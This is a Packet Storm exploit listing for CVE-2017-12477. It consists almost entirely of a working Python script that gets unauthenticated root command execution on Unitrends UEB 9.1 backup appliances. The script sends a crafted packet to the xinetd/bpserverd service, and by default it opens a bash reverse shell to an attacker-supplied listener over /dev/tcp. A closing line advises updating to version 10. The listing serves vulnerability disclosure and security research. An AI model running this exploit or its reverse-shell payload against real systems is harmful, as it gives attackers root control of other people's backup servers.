Unitrends UEB 9.1 bpserverd Remote Command Execution

2017-10-05T00:00:00
ID PACKETSTORM:144511
Type packetstorm
Reporter Benny Husted
Modified 2017-10-05T00:00:00

Description

                                        
                                            `# Exploit Title: Unauthenticated root RCE for Unitrends UEB 9.1  
# Date: 08/08/2017  
# Exploit Authors: Jared Arave, Cale Smith, Benny Husted  
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413  
# Vendor Homepage: https://www.unitrends.com/  
# Software Link: https://www.unitrends.com/download/enterprise-backup-software  
# Version: 9.1  
# Tested on: CentOS6  
# CVE: CVE-2017-12477  
  
import socket  
import binascii  
import struct  
import time  
import sys  
from optparse import OptionParser  
  
print """  
###############################################################################  
Unauthenticated root RCE for Unitrends UEB 9.1  
Tested against appliance versions:  
[+] 9.1.0-2.201611302120.CentOS6  
  
This exploit uses roughly the same process to gain root execution  
as does the apache user on the Unitrends appliance. The process is  
something like this:  
  
1. Connect to xinetd process (it's usually running on port 1743)  
2. This process will send something like: '?A,Connect36092'  
3. Initiate a second connection to the port specified   
in the packet from xinetd (36092 in this example)  
4. send a specially crafted packet to xinetd, containing the   
command to be executed as root  
5. Receive command output from the connection to port 36092  
6. Close both connections  
  
NB: Even if you don't strictly need output from your command,  
The second connection must still be made for the command  
to be executed at all.  
###############################################################################  
"""  
  
# Parse command line args:  
usage = "Usage: %prog -r <appliance_ip> -l <listener_ip> -p <listener_port>\n"\  
" %prog -r <appliance_ip> -c 'touch /tmp/foooooooooooo'"  
  
parser = OptionParser(usage=usage)  
parser.add_option("-r", '--RHOST', dest='rhost', action="store",  
help="Target host w/ UNITRENDS UEB installation")  
parser.add_option("-l", '--LHOST', dest='lhost', action="store",  
help="Host listening for reverse shell connection")  
parser.add_option("-p", '--LPORT', dest='lport', action="store",  
help="Port on which nc is listening")  
parser.add_option("-c", '--cmd', dest='cmd', action="store",  
help="Run a custom command, no reverse shell for you.")  
parser.add_option("-x", '--xinetd', dest='xinetd', action="store",  
type="int", default=1743,   
help="port on which xinetd is running (default: 1743)")  
  
(options, args) = parser.parse_args()  
  
if options.cmd:  
if (options.lhost or options.lport):  
parser.error("[!] Options --cmd and [--LHOST||--LPORT] are mutually exclusive.\n")  
  
elif not options.rhost:  
parser.error("[!] No remote host specified.\n")  
  
elif options.rhost is None or options.lhost is None or options.lport is None:  
parser.print_help()  
sys.exit(1)  
  
RHOST = options.rhost  
LHOST = options.lhost  
LPORT = options.lport  
XINETDPORT = options.xinetd  
  
if options.cmd:  
cmd = options.cmd  
else:  
cmd = 'bash -i >& /dev/tcp/{0}/{1} 0>&1 &'.format(LHOST, LPORT)  
  
def recv_timeout(the_socket,timeout=2):  
the_socket.setblocking(0)  
total_data=[];data='';begin=time.time()  
while 1:  
#if you got some data, then break after wait sec  
if total_data and time.time()-begin>timeout:  
break  
#if you got no data at all, wait a little longer  
elif time.time()-begin>timeout*2:  
break  
try:  
data=the_socket.recv(8192)  
if data:  
total_data.append(data)  
begin=time.time()  
else:  
time.sleep(0.1)  
except:  
pass  
return ''.join(total_data)  
  
print "[+] attempting to connect to xinetd on {0}:{1}".format(RHOST, str(XINETDPORT))  
  
try:  
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s1.connect((RHOST,XINETDPORT))  
except:  
print "[!] Failed to connect!"  
exit()  
  
data = s1.recv(4096)  
bpd_port = int(data[-8:-3])  
  
print "[+] Connected! Cmd output will come back on {}:{}".format(RHOST, str(bpd_port))  
print "[+] Connecting to bpdserverd on {}:{}".format(RHOST, str(bpd_port))  
  
try:  
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s2.connect((RHOST, bpd_port))  
except:  
print "[!] Failed to connect!"  
s1.close()  
exit()  
  
print "[+] Connected! Sending the following cmd to {0}:{1}".format(RHOST,str(XINETDPORT))  
print "[+] '{0}'".format(cmd)  
  
if (len(cmd) > 240):  
print "[!] This command is long; this might not work."  
print "[!] Maybe try a shorter command..."  
  
cmd_len = chr(len(cmd) + 3)  
packet_len = chr(len(cmd) + 23)  
  
packet = '\xa5\x52\x00\x2d'  
packet += '\x00' * 3  
packet += packet_len  
packet += '\x00' * 3  
packet += '\x01'  
packet += '\x00' * 3  
packet += '\x4c'  
packet += '\x00' * 3  
packet += cmd_len  
packet += cmd  
packet += '\x00' * 3  
  
s1.send(packet)  
  
print "[+] cmd packet sent!"  
print "[+] Waiting for response from {0}:{1}".format(RHOST,str(bpd_port))  
  
data = recv_timeout(s2)  
  
print "[+] Here's the output -> \n\n"  
  
print data  
  
print "[+] Closing ports, exiting...."  
  
s1.close()  
s2.close()  
  
# 3. Solution:  
# Update to Unitrends UEB 10  
  
`